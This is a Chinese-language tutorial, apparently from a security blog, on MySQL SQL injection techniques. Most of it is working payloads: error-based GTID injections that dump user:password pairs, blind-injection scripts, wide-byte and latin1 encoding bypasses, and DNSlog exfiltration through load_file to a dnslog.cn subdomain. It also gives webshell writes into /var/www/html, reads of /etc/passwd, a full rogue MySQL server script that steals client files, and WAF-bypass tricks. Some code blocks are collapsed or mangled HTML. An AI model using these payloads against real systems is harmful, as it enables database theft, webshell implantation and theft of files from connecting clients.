GTID集合(一组全局事务标识符):
GTID集合为多个单GTID和一个范围内GTID的集合,他主要用于如下地方
- gtid_executed 系统变量
- gtid_purged系统变量
- GTID_SUBSET() 和 GTID_SUBTRACT()函数
格式如下:
1 | 3E11FA47-71CA-11E1-9E33-C80AA9429562:1-5 |
函数详解
GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错
- GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
- GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
正常情况如下
1 | GTID_SUBSET(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:23’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’)GTID_SUBTRACT(‘3E11FA47-71CA-11E1-9E33-C80AA9429562:21-57’,‘3E11FA47-71CA-11E1-9E33-C80AA9429562:20-25’) |
注入过程
GTID_SUBSET函数
1 | ') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+ |
GTID_SUBTRACT
1 | ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+ |
1 | mysql>select gtid_subset(user(),1); |
报错函数速查表
注:默认MYSQL_ERRMSG_SIZE=512
类别 | 函数 | 版本需求 | 5.5.x | 5.6.x | 5.7.x | 8.x | 函数显错长度 | Mysql报错内容长度 | 额外限制 |
---|---|---|---|---|---|---|---|---|---|
主键重复 | floor round | ❓ | ✔️ | ✔️ | ✔️ | 64 | data_type ≠ varchar | ||
列名重复 | name_const | ❓ | ✔️ | ✔️ | ✔️ | ✔️ | only version() | ||
列名重复 | join | [5.5.49, ?) | ✔️ | ✔️ | ✔️ | ✔️ | only columns | ||
数据溢出 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ✔️ | MYSQL_ERRMSG_SIZE | |||||
数据溢出 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ✔️ | MYSQL_ERRMSG_SIZE | |||||
几何对象 | geometrycollection linestring multipoint multipolygon multilinestring polygon | [?, 5.5.48] | ✔️ | 244 | |||||
空间函数 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash | [5.7, ?) | ✔️ | ✔️ | 128 | ||||
GTID | gtid_subset gtid_subtract | [5.6.5, ?) | ✔️ | ✔️ | ✔️ | 200 | |||
JSON | json_* | [5.7.8, 5.7.11] | ✔️ | 200 | |||||
UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | ✔️ | 128 | |||||
XPath | extractvalue updatexml | [5.1.5, ?) | ✔️ | ✔️ | ✔️ | ✔️ | 32 |
LIKE 注入
在LIKE子句中,百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线 _
通配符允许匹配任何单个字符。匹配成功则返回1,反之返回0,可用于sql盲注。
- 判断数据库长度
可用length()函数,也可用_
,如:
1 | /?id=' or database() like '________'--+ // 回显正常 |
- 判断数据库名
1 | /?id=' or database() like 's%' --+ |
如上图所示,回显正常,说明数据库名的第一个字符是s。
综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本:
1 | import requests |
REGEXP 注入(正则表达式注入(盲注))
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。
- 判断数据库长度
1 | /?id=' or (length(database())) regexp 8 --+ // 回显正常 |
- 判断数据库名
1 | /?id=' or database() regexp '^s'--+ // 回显正常 |
脚本:
1 | import requests |
宽字节注入
前置知识
magic_quotes_gpc (魔术引号开关)
magic_quotes_gpc
函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线,我们输入的东西如果不能闭合,那我们的输入就不会当作代码执行,就无法产生SQL注入。
addslashes()函数
返回在如下预定义字符之前添加反斜杠之后的字符串
1 | 预定义字符:单引号('),双引号("),反斜杠(\),NULL |
宽字节概念:
- 单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
- 多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
- UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
- 常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
- 宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
成因与示例
前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和渗透测试发送了“巧遇”呢?
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入。
例如说MySql的编码设置为了SET NAMES ‘gbk’或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
宽字节SQL注入的根本原因:
宽字节SQL注入就是PHP发送请求到MySql时使用了语句
SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符’',来做一定的过滤
为了绕过magic_quotes_gpc的,于是乎我们开始导入宽字节的概念
我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c
1 | SELECT * FROM users WHERE id='1\'' LIMIT 0,1 |
这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功绕过
1 | SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1 |
还可以使用反斜杠 \ 逃逸 Sql 语句
如果没有过滤反斜杠的话,我们可以使用反斜杠将后面的引号转义,从而逃逸后面的 Sql 语句。
假设sql语句为:
1 | select username, password from users where username='$username' and password='$password'; |
假设输入的用户名是 admin\
,密码输入的是 or 1#
整个SQL语句变成了
1 | select username,password from users where username='admin\' and password=' or 1#' |
由于单引号被转义,and password=
这部分都成了username的一部分,即
1 | username='admin\' and password=' |
这样 or 1
就逃逸出来了,由此可控,可作为注入点了。
Latin1默认编码相关
讲完了gbk造成的编码问题,我们再讲讲latin1造成的编码问题。
老样子,先举个例子。
1 |
|
建表语句如下:
1 | CREATE TABLE `table1` ( |
我们设置表的编码为latin1,事实上,就算你不填写,默认编码便是latin1。
我们往表中添加一条数据:insert table1 VALUES(1,'admin','admin');
注意查看源代码:
1 | if($username === 'admin'){ |
我们对用户的输入进行了判断,若输入内容为admin,直接结束代码输出返回,并且还对输出的内容进行addslashes处理,使得我们无法逃逸出单引号。
这样的话,我们该怎样绕过这个限制,让页面输出admin的数据呢?
我们注意到:$mysqli->query("set names utf8");
这么一行代码,在连接到数据库之后,执行了这么一条SQL语句。
上边在gbk宽字节注入的时候讲到过:set names utf8;
相当于:
1 | mysql>SET character_set_client ='utf8'; |
前边说道:PHP的编码是UTF-8
,而我们现在设置的也是UTF-8
,怎么会产生问题呢?
别着急,让我接着往下说。前边我们提到:SQL语句会先转成character_set_client
设置的编码。但,他接下来还会继续转换。character_set_client
客户端层转换完毕之后,数据将会交给character_set_connection
连接层处理,最后在从character_set_connection
转到数据表的内部操作字符集。
来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1
这里需要讲一下UTF-8编码的一些内容。
1 | UTF-8编码是变长编码,可能有1~4个字节表示: |
利用这一特性,我们输入:?username=admin%c2
,%c2
是一个Latin1字符集不存在的字符。
由上述,可以简单的知道:%00-%7F可以直接表示某个字符、%C2-%F4不可以直接表示某个字符,他们只是其他长字节编码结果的首字节。
但是,这里还有一个Trick:Mysql所使用的UTF-8编码是阉割版的,仅支持三个字节的编码。所以说,Mysql中的UTF-8字符集只有最大三字节的字符,首字节范围:00-7F、C2-EF
。
而对于不完整的长字节UTF-8编码的字符,若进行字符集转换时,会直接进行忽略处理。
利用这一特性,我们的payload为?username=admin%c2
,此处的%c2
换为%c2-%ef
均可。
1 | SELECT * FROM `table1` WHERE username='admin' |
因为admin%c2
在最后一层的内部操作字符集转换中变成admin
。
DNS注入
原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。
在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看。
LOAD_FILE() 读取文件的函数
读取文件并返回文件内容为字符串。
要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于 max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
注:这个功能不是默认开启的,需要在mysql配置文件加一句 secure_file_priv=
DNSLOG平台:
UNC路径
UNC路径通用命名规则,也称通用命名规范、通用命名约定,类似\softer这样的形式的网络路径。
在Windows中,路径以\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。
注:payload里的四个\\中的两个\是用来进行转义处理的。
UNC路径的 格式 :\server\sharename\directory\filename
等同于SELECT LOAD_FILE(‘//库名.1806dl.dnslog.cn/abc’
去访问 库名.1806dl.dnslog.cn 的服务器下的共享文件夹abc。
然后1806dl.dnslog.cn的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了error.1806dl.dnslog.cn,然后在DnsLog这个平台上面显示出来了
payload示例:
1 | ?id=1 and load_file(concat('\\\\', database(),'.htleyd.dnslog.cn\abc')) |
基于约束的sql注入攻击
最近,我遇到了一个有趣的代码片段,开发者尝试各种方法来确保数据库的安全访问。当新用户尝试注册时,将运行以下代码:
1 |
|
使用以下代码验证登录信息:
1 |
|
安全考虑:
- 过滤用户输入参数了吗? — 完成检查
- 使用单引号(’)来增加安全性了吗? — 完成检查
按理说应该不会出错了啊?
然而,攻击者依然能够以任意用户身份进行登录!
攻击手法
在谈论这种攻击手法之前,首先我们需要了解几个关键知识点。
- 在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
1 | SELECT * FROM users WHERE username='vampire '; |
- 但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
- 在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
现在,让我们建立一个测试数据库来演示具体攻击过程。
1 | vampire@linux:~$ mysql -u root -p |
接着创建一个数据表users,其包含username和password列,并且字段的最大长度限制为25个字符。然后,我将向username字段插入“vampire”,向password字段插入“my_password”。
1 | mysql> CREATE TABLE users ( |
为了展示尾部空白字符的修剪情况,我们可以键入下列命令
1 | mysql> SELECT * FROM users |
现在我们假设一个存在漏洞的网站使用了前面提到的PHP代码来处理用户的注册及登录过程。为了侵入任意用户的帐户(在本例中为“vampire”),只需要使用用户名“vampire[许多空白符]1”和一个随机密码进行注册即可。对于选择的用户名,前25个字符应该只包含vampire和空白字符,这样做将有助于绕过检查特定用户名是否已存在的查询。
1 | mysql> SELECT * FROM users |
需要注意的是,在执行SELECT查询语句时,SQL是不会将字符串缩短为25个字符的。因此,这里将使用完整的字符串进行搜索,所以不会找到匹配的结果。接下来,当执行INSERT查询语句时,它只会插入前25个字符。
1 | mysql> INSERT INTO users(username, password) |
很好,现在我们检索“vampire”的,将返回两个独立用户。注意,第二个用户名实际上是“vampire”加上尾部的18个空格。现在,如果使用用户名“vampire”和密码“random_pass”登录的话,则所有搜索该用户名的SELECT查询都将返回第一个数据记录,也就是原始的数据记录。这样的话,攻击者就能够以原始用户身份登录。这个攻击已经在MySQL和SQLite上成功通过测试
防御:
给username字段添加unique属性。
使用id字段作为判断用户的凭证。
插入数据前判断数据长度。
文件读/写
我们知道Mysql是很灵活的,它支持文件读/写功能。在讲这之前,有必要介绍下什么是
file_priv
和secure-file-priv
。简单的说:
file_priv
是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。1
select file_priv from mysql.user where user=$USER host=$HOST;
secure-file-priv
是一个系统变量,对于文件读/写功能进行限制。具体如下:- 无内容,表示无限制。
- 为NULL,表示禁止文件读/写。
- 为目录名,表示仅允许对特定目录的文件进行读/写。
注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前
secure-file-priv
的值:1
2
3select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";修改:
- 通过修改my.ini文件,添加:
secure-file-priv=
- 启动项添加参数:
mysqld.exe --secure-file-priv=
读
Mysql读取文件通常使用load_file函数,语法如下:
1
select load_file(file_path);
第二种读文件的方法:
1
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件
第三种:
1
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件
限制:
- 前两种需要
secure-file-priv
无值或为有利目录。 - 都需要知道要读取的文件所在的绝对路径。
- 要读取的文件大小必须小于
max_allowed_packet
所设置的值
低权限读取文件
5.5.53
secure-file-priv=NULL
读文件payload,mysql8测试失败,其他版本自测。1
2
3
4drop table mysql.m1;
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';
select * from mysql.m1;Mysql连接数据库时可读取文件
这个漏洞是mysql的一个特性产生的,是上述的第三种读文件的方法为基础的。
简单描述该漏洞:Mysql客户端在执行
load data local
语句的时,先想mysql服务端发送请求,服务端接收到请求,并返回需要读取的文件地址,客户端接收该地址并进行读取,接着将读取到的内容发送给服务端。用通俗的语言可以描述如下:原本的查询流程:
1
2
3客户端:我要把我的win.ini文件内容插入test表中
服务端:好,我要你的win.ini文件内容
客户端:win.ini的内容如下....假设服务端由我们控制,把一个正常的流程篡改成如下
1
2
3客户端:我要把我的win.ini文件内容插入test表中
服务端:好,我要你的conn.php内容
客户端:conn.php的内容如下???换句话说:
load data local
语句要读取的文件会受到服务端的控制。其次,在Mysql官方文档对于
load data local
语句的安全说明中有这么一句话:A patched server could in fact reply with a file-transfer request to any statement, not just
LOAD DATA LOCAL
, so a more fundamental issue is that clients should not connect to untrusted servers.意思是:服务器对客户端的文件读取请求实际上是可以返回给客户端发送给服务端的任意语句请求的,不仅仅只是
load data local
语句。这就会产生什么结果呢?之前讲的例子,将可以变成:
1
2
3客户端:我需要查询test表下的xx内容
服务端:我需要你的conn.php内容
客户端:conn.php的内容如下???可以看到,客户端相当于被攻击者给半劫持了。
利用上述的特性,我们通过构造一个恶意的服务端,即可完成上述的过程。
简易恶意服务端代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249#代码摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)
filelist = (
# r'c:\boot.ini',
r'c:\windows\win.ini',
# r'c:\windows\system32\drivers\etc\hosts',
# '/etc/passwd',
# '/etc/shadow',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "{0}{1}".format(
header,
self.payload
)
return result
def __repr__(self):
return repr(str(self))
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '\0', # Version
#'5.1.66-0+squeeze1' + '\0',
'\x36\x00\x00\x00', # Thread ID
'evilsalt' + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Collation
'\x02\x00', # Server Status
'\0' * 13, # Unknown
'evil2222' + '\0',
))
)
)
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)
z = mysql_listener()
daemonize()
asyncore.loop()需要注意的是:这个过程需要客户端允许使用
load data local
才行,不过这个信息在客户端尝试连接到服务端的数据包中可以找到。写
说完了读文件,那我们来说说mysql的写文件操作。常见的写文件操作如下:
1
2select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';限制:
secure-file-priv
无值或为可利用的目录- 需知道目标目录的绝对目录地址
- 目标目录可写,mysql的权限足够。
日志法
由于mysql在5.5.53版本之后,
secure-file-priv
的值默认为NULL
,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。mysql日志文件的一些相关设置可以直接通过命令来进行:
1
2
3
4
5
6
7
8//请求日志
mysql> set global general_log_file = '/var/www/html/1.php';
mysql> set global general_log = on;
//慢查询日志
mysql> set global slow_query_log_file='/var/www/html/2.php'
mysql> set global slow_query_log=1;
//还有其他很多日志都可以进行利用
...之后我们在让数据库执行满足记录条件的恶意语句即可。
限制:
- 权限够,可以进行日志的设置操作
- 知道目标目录的绝对路径
bypass
and/or 被过滤/拦截
- 双写
anandd、oorr
- 使用运算符代替
&&、||
- 直接拼接
=
号,如:?id=1=(condition)
- 其他方法,如:
?id=1^(condition)
空格被过滤/拦截
1 | # 使用注释符/**/代替空格: |
括号被过滤/拦截
- order by 大小比较盲注
逗号被过滤/拦截
- 改用盲注
- 使用join语句代替
substr(data from 1 for 1)
相当于substr(data,1,1)
、limit 9 offset 4
相当于limt 9,4
其他系统关键字被过滤/拦截
双写绕过关键字过滤 <figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">2. ```sql</span><br><span class="line"> 使用同义函数/语句代替,如if函数可用`case when condition then 1 else 0 end`语句代替</span><br></pre></td></tr></tbody></table></figure>
预处理,或其他手段造成字符串拼接来绕过 1';set @a=concat("sel","ect * from users");prepare sql from @a;execute sql; <figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">4. ```sql</span><br><span class="line"> 大小写变换</span><br><span class="line"> -1' UnIoN SeLeCt 1,2,database()--+</span><br></pre></td></tr></tbody></table></figure>
```sql
使用同义函数/语句代替,如if函数可用case when condition then 1 else 0 end
语句代替。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
### 单双引号被过滤/拦截/转义
1. 需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入(宽字节注入等)
2. 不需要跳出单引号的情况:字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。
### 数字被过滤/拦截
| 代替字符 | 数 | 代替字符 | 数 | 字 | 代替字符 | 数 | 字 |
| --------------------------- | ---- | ------------------------- | ---- | ---- | ---------------------------- | ---- | ---- |
| false、!pi() | 0 | ceil(pi()*pi()) | 10\ | A | ceil((pi()+pi())*pi()) | 20\ | K |
| true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11\ | B | ceil(ceil(pi())*version()) | 21\ | L |
| true+true | 2 | ceil(pi()+pi()+version()) | 12\ | C | ceil(pi()*ceil(pi()+pi())) | 22\ | M |
| floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13\ | D | ceil((pi()+ceil(pi()))*pi()) | 23\ | N |
| ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14\ | E | ceil(pi())*ceil(version()) | 24\ | O |
| floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15\ | F | floor(pi()*(version()+pi())) | 25\ | P |
| ceil(version()) | 6 | floor(pi()*version()) | 16\ | G | floor(version()*version()) | 26\ | Q |
| ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17\ | H | ceil(version()*version()) | 27\ | R |
| floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18\ | I | ceil(pi()*pi()*pi()-pi()) | 28\ | S |
| floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19\ | J | floor(pi()*pi()*floor(pi())) | | |
### 过滤比较符号(=、<、>)
比较符号一般也只出现在盲注中,所以都尽可能搭配了脚本。
#### 使用 in() 绕过
```sql
/?id=' or ascii(substr((select database()),1,1)) in(114)--+ // 错误
/?id=' or ascii(substr((select database()),1,1)) in(115)--+ // 正常回显
/?id=' or substr((select database()),1,1) in('s')--+ // 正常回显
综上所述,很明显和普通的布尔盲注差不多,于是写个GET的二分法盲注脚本:
1 | import requests |
过滤逗号(,)
当逗号被过滤了之后,我们便不能向下面这样正常的时候substr()函数和limit语句了:
1 | select substr((select database()),1,1); |
使用from…for…绕过
我们可以使用 from...for..
语句替换 substr() 函数里的 ,1,1
:
1 | select substr((select database()) from 1 for 1); |
即,from用来指定从何处开始截取,for用来指定截取的长度,如果不加for的话则 from 1
就相当于从字符串的第一位一直截取到最后:
1 | select substr((select database()) from 1); # security |
使用offset关键字绕过
我们可以使用 offset
语句替换 limit 语句里的逗号:
1 | select * from users limit 1 offset 2; |
利用join与别名绕过
1 | select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema` |
过滤其他关键字绕过
过滤 if 语句绕过
如果过滤了 if 关键字的话,我们可以使用case when语句绕过:
1 | if(condition,1,0) <=> case when condition then 1 else 0 end |
下面的if语句和case when语句是等效的:
1 | 0' or if((ascii(substr((select database()),1,1))>97),1,0)# |
过滤 substr 绕过
使用 lpad/lpad
- 使用lpad()和rpad()绕过substr()
1 | select lpad((select database()),1,1) // s |
lpad:函数语法:lpad(str1,length,str2)
。其中str1是第一个字符串,length是结果字符串的长度,str2是一个填充字符串。如果str1的长度没有length那么长,则使用str2填充;如果str1的长度大于length,则截断。
rpad:同理
- 使用left()绕过substr()
1 | select left((select database()),1) // s |
- 使用mid()绕过substr()
mid()函数的使用就和substr()函数一样了:
1 | select mid((select database()),1,1) // s |
- 还可以使用下面这个神奇的东西绕过
1 | select insert(insert((select database()),1,0,space(0)),2,222,space(0)); // s |
INSERT( string , position , number , string2 )
INSERT()函数在指定位置的字符串中插入一个字符串,并插入一定数量的字符。
参数 | 描述 |
---|---|
string | 必须项。要修改的字符串 |
position | 必须项。插入string2的位置 |
number | 必须项。要替换的字符数 |
string2 | 必须项。要插入字符串的字符串 |
HTTP参数污染(HPP)漏洞绕过 Waf
HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。浏览器在跟服务器进行交互的过程中,浏览器往往会在GET或POST请求里面带上参数,这些参数会以 键-值 对的形势出现,通常在一个请求中,同样名称的参数只会出现一次。
但是在HTTP协议中是允许同样名称的参数出现多次的。比如下面这个链接:http://www.baidu.com?name=aa&name=bb
,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。有的服务器是取第一个参数,也就是 name=aa
。有的服务器是取第二个参数,也就是 name=bb
。有的服务器两个参数都取,也就是 name=aa,bb
。这种特性在绕过一些服务器端的逻辑判断时,非常有用。
HPP漏洞,与Web服务器环境、服务端使用的脚本有关。如下是不同类型的Web服务器对于出现多个参数时的选择:
Web 服务器 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET[‘a’] | Last |
JSP/Tomcat | Request.getParameter(‘a’) | First |
Perl(CGI)/Apache | Param(‘a’) | First |
Python/Apache | getvalue(‘a’) | All |
ASP/IIS | Request.QueryString(‘a’) | All |
假设服务器端有两个部分:第一部分是Tomcat为引擎的JSP/Tomcat型服务器,第二部分是Apache为引擎的PHP/Apache型服 务器。第一部分的JSP/Tomcat服务器处做数据过滤和处理,功能类似为一个WAF,而真正提供Web服务的是PHP/Apache服务器。那么服务 端的工作流程为:客户端访问服务器,能直接访问到JSP/Tomcat服务器,然后JSP/Tomcat服务器再向PHP/Apache服务器请求数据。 数据返回路径则相反。
那么此时我们便可以利用不同服务器解析参数的位置不同绕过WAF的检测。来看看如下请求:
1 | index.jsp?id=1&id=2 |
客户端请求首先过JSP/Tomcat服务器,JSP/Tomcat服务器解析第一个参数,接下来JSP/Tomcat服务器去请求PHP /Apache服务器,PHP/Apache服务器解析最后一个参数。假设JSP/Tomcat服务器作为Waf对第一个参数进行检测,那我们便可以在第 二个参数中传payload来绕过Waf。如下所示:
1 | /index.jsp?id=1&id=-1' union select 1,database(),3--+ |
这样 Waf 可能只检测第一个参数 id=1
